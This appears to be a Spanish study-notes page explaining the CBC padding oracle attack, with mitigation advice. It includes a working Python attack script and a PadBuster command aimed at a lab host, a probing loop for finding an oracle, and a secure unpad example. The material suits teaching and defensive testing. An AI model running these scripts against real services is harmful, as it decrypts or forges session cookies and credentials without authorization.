Ataques y defensa

Ataque padding oracle

#appsec#blueteam#crypto#redteam#web

El ataque de oráculo de relleno (Padding Oracle Attack) es un ataque de texto cifrado elegido (CCA) que explota la respuesta de un servidor a errores de validación de padding en cifrados…

Definición

El ataque de oráculo de relleno (Padding Oracle Attack) es un ataque de texto cifrado elegido (CCA) que explota la respuesta de un servidor a errores de validación de padding en cifrados por bloques como AES-CBC. Si la aplicación revela —a través de mensajes de error, códigos de respuesta HTTP, tiempos de respuesta u otros indicadores— si el padding de un ciphertext es válido o no, el atacante puede descifrar el ciphertext completo sin conocer la clave, byte a byte.

El servidor actúa como un “oráculo”: responde “padding válido” o “padding inválido” ante cada intento, permitiendo un ataque de fuerza bruta de 256 intentos por byte.

Contexto

Esquema de relleno PKCS#7

Los cifrados por bloques como AES requieren que el plaintext sea múltiplo del tamaño de bloque (16 bytes en AES). Si no lo es, se añade padding PKCS#7: cada byte de relleno tiene como valor el número de bytes añadidos.

Longitud texto (mod 16) Bytes de padding Valor de cada byte
0 16 0x10
1 15 0x0F
14 2 0x02
15 1 0x01

Ejemplo: "TryHackMe" (9 bytes) con bloque de 16 → 7 bytes de padding \x07:

54 72 79 48 61 63 6B 4D 65 07 07 07 07 07 07 07

Modo CBC — Cifrado

CBC (Cipher Block Chaining) encadena cada bloque con el anterior antes de cifrar:

  1. El primer bloque de plaintext se XOR con el IV.
  2. El resultado se cifra con la clave → primer bloque de ciphertext C1.
  3. C1 se XOR con el segundo bloque de plaintext antes de cifrarlo → C2.
  4. Y así sucesivamente.

Ejemplo con “TryHackMe” (bloque 8 bytes, IV: 01 01 01 01 01 01 01 01):

Bloque 1: "TryHackM" = 54 72 79 48 61 63 6B 4D
XOR con IV: 55 73 78 49 60 62 6A 4C → Cifrado → C1: A3 3C 9F 12 58 44 76 10
Bloque 2: "e\x07\x07\x07\x07\x07\x07\x07" = 65 07 07 07 07 07 07 07
XOR con C1: C6 3B 98 15 5F 43 71 17 → Cifrado → C2: B7 9F 2D 5A 11 66 4F 7A

Modo CBC — Descifrado

El descifrado es el proceso inverso. La fórmula clave:

Pi = Dk(Ci) XOR Ci-1

Donde Pi es el plaintext del bloque i, Dk(Ci) es el resultado de descifrar Ci con la clave (valor intermedio), y Ci-1 es el bloque de ciphertext previo (o IV para el primer bloque).

Esta fórmula es el fundamento del ataque.

Desarrollo

Mecánica del ataque

El atacante tiene:

  • El ciphertext C1 (y el IV, que es C0).
  • Capacidad de enviar ciphertexts modificados al servidor y observar si el padding es válido.

Objetivo: determinar Dk(C1) byte a byte. Una vez conocido, P1 = Dk(C1) XOR C0.

Fase 1 — Ataque al último byte

Se modifica el último byte del IV (C0[16]) con valores de 0x00 a 0xFF hasta que el servidor indique padding válido. Cuando ocurre, el server ha obtenido P1[16] = 0x01 (padding de 1 byte):

Dk(C1)[16] XOR test[16] = 0x01
→ Dk(C1)[16] = test[16] XOR 0x01

Con Dk(C1)[16] conocido, el plaintext original:

P1[16] = Dk(C1)[16] XOR C0[16]

Ejemplo numérico:

  • IV original C0[16] = 0x31
  • El servidor acepta test[16] = 0x37 como padding válido
  • Dk(C1)[16] = 0x37 XOR 0x01 = 0x36
  • P1[16] = 0x36 XOR 0x31 = 0x07 (byte de padding, correcto para TryHackMe)

Fase 2 — Penúltimo byte

Para atacar el byte 15, se necesita que el padding resultante sea 0x02 0x02. Se fija C0[16] para que Dk(C1)[16] XOR C0[16] = 0x02, luego se itera C0[15] hasta padding válido:

Dk(C1)[15] XOR test[15] = 0x02
→ Dk(C1)[15] = test[15] XOR 0x02
→ P1[15] = Dk(C1)[15] XOR C0[15]

Fase 3 — Todos los bytes

Se repite para cada posición, de atrás hacia adelante, estableciendo el padding requerido para esa posición. Para el byte i, el padding objetivo es (16 - i + 1).

Al final, se tiene Dk(C1) completo → P1 = Dk(C1) XOR C0 → plaintext recuperado.

Implementación (Python)

# Solo en laboratorio controlado
from binascii import hexlify, unhexlify
import requests
BLOCK_SIZE = 16
MAX_BYTE_VALUE = 255
URL = "http://padding.thm:5001/oracle"
def padding_oracle_attack(orig_iv, orig_ct):
modified_iv = bytearray(orig_iv)
keystream = []
plaintext = []
for iv_index in reversed(range(BLOCK_SIZE)):
padding = BLOCK_SIZE - iv_index
# Ajustar bytes ya conocidos para el padding correcto
for k in range(iv_index + 1, BLOCK_SIZE):
modified_iv[k] = keystream[BLOCK_SIZE - 1 - k] ^ padding
for byte_value in range(MAX_BYTE_VALUE + 1):
modified_iv[iv_index] = byte_value
modified_ct = hexlify(bytes(modified_iv) + orig_ct)
response = requests.post(URL, data=modified_ct)
if response.status_code == 200:
keystream_byte = byte_value ^ padding
keystream.append(keystream_byte)
plaintext_byte = orig_iv[iv_index] ^ keystream_byte
plaintext.append(plaintext_byte)
break
return bytes(reversed(plaintext))

Automatización con PadBuster

PadBuster es una herramienta Perl que automatiza el ataque:

Terminal window
# Solo en laboratorio controlado
padBuster \
http://padding.thm:5002/decrypt?ciphertext=313233...2cb8770371460c5a2dc6b6a7e65289b8 \
313233343536373839303132333435362cb8770371460c5a2dc6b6a7e65289b8 \
16 \
-encoding 1

Parámetros:

  • URL: endpoint del oráculo con el ciphertext como parámetro.
  • ciphertext: el ciphertext concatenado (IV + bloques).
  • 16: tamaño de bloque.
  • -encoding 1: formato hex en minúsculas.

Al ejecutarlo, PadBuster solicita identificar qué respuesta corresponde al error de padding. Se selecciona la respuesta con status 500 (error) vs 200 (válido) y PadBuster descifra el texto byte a byte:

[+] Decrypted value (ASCII): TryDecryptMe
[+] Decrypted value (HEX): 547279446563727970744D6504040404

PadBuster también puede cifrar plaintext arbitrario con -plaintext texto_a_cifrar, lo que permite escalar privilegios si se puede modificar una cookie cifrada.

Escenarios de explotación real

Cookies de sesión: aplicaciones que cifran datos del usuario (rol, username) en una cookie con AES-CBC sin autenticación. Si el servidor devuelve errores de padding diferentes de otros errores, es un oráculo.

Diferenciación de errores detectables:

  • Mensajes de error distintos (“Invalid padding” vs “Invalid data”).
  • Códigos HTTP diferentes (400 vs 500).
  • Tiempos de respuesta distintos (timing oracle).
  • Diferencias en el tamaño del cuerpo de la respuesta.

Ejemplos

Identificación en pentesting (black-box):

import requests
# Modificar el último byte del ciphertext y observar diferencias
for byte in range(256):
modified = ciphertext[:-1] + bytes([byte])
r = requests.post(url, cookies={"token": modified.hex()})
if "Invalid padding" in r.text:
print(f"Padding inválido para byte {byte:#04x}")
elif r.status_code == 200:
print(f"Padding VÁLIDO para byte {byte:#04x} → oráculo encontrado")

Verificación del relleno PKCS#7 (implementación segura):

from Crypto.Util.Padding import unpad, pad
from Crypto.Cipher import AES
# Siempre usar unpad con manejo de error genérico
try:
plaintext = unpad(decrypted_bytes, 16)
except ValueError:
# Error genérico: no revelar si fue padding o datos
return "Error de descifrado"

Pitfalls

  • “El servidor no revela el error exacto, no hay oráculo”: diferencias sutiles como el tamaño de la respuesta, el tiempo de respuesta o el código HTTP (500 vs 400) son suficientes para construir un oráculo de timing.
  • “Uso AES-CBC con PKCS#7, debería ser seguro”: AES-CBC es seguro si se combina con verificación de integridad (HMAC o AEAD). Sin autenticación, es vulnerable a CBC padding oracle.
  • “El atacante no conoce mi clave, el ataque es imposible”: el padding oracle permite descifrar sin conocer la clave. El ataque explota la implementación del descifrado, no el algoritmo.
  • “Solo funciona si el servidor devuelve mensajes de error”: cualquier comportamiento diferencial (incluyendo tiempos) actúa como oráculo. La mitigación requiere que el servidor tenga respuesta uniforme ante cualquier tipo de error.
  • “Migré de AES-CBC a AES-CBC + HMAC, estoy protegido”: solo si el HMAC se verifica antes del descifrado (“encrypt-then-MAC”). Si se descifra primero y luego se verifica el MAC (“MAC-then-encrypt”), el oráculo puede existir si hay diferencia de tiempo.

Diagrama

sequenceDiagram
    participant A as Atacante
    participant S as Servidor (Oráculo)

    Note over A: Tiene C0 (IV) y C1 (ciphertext)
    loop Para cada byte i (de 15 a 0)
        A->>A: Preparar modified_IV con padding objetivo
        loop byte_value 0x00 a 0xFF
            A->>S: POST modified_IV || C1
            S->>S: Descifra Dk(C1), XOR con modified_IV, verifica padding
            alt Padding inválido
                S->>A: 500 Error
            else Padding válido
                S->>A: 200 OK
                A->>A: Dk(C1)[i] = byte_value XOR padding_target
                A->>A: P1[i] = Dk(C1)[i] XOR C0[i]
                Note over A: Byte recuperado
            end
        end
    end
    Note over A: P1 completo = TryHackMe

Referencias

Ver también: Cryptographic Failures, AES-ECB Chosen Plaintext Attack, Insecure Randomness

Título original en mis apuntes: Padding Oracle Attack